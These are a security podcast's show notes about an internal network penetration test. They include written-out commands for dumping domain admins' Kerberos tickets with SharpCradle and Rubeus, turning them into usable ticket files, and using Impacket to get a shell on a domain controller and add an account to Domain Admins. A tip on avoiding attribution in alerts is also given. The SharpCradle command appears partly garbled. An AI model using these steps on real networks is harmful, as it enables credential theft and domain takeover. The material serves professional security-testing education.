7MS #442: Tales of Internal Network Pentest Pwnage - Part 23
Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features: * Great blue team tools alerting our customer to a lot of the stuff we were doing * An EDR that we tried to beat up (but it beat us up instead) * SharpGPOAbuse which we talked about extensively last week * Separation of "everyday" accounts from privileged accounts * Multi-factor authentication bypass! * Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation. The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds: SharpCradle.exe -w dump /service:krbtgt /nowrap This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with: echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight. We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!
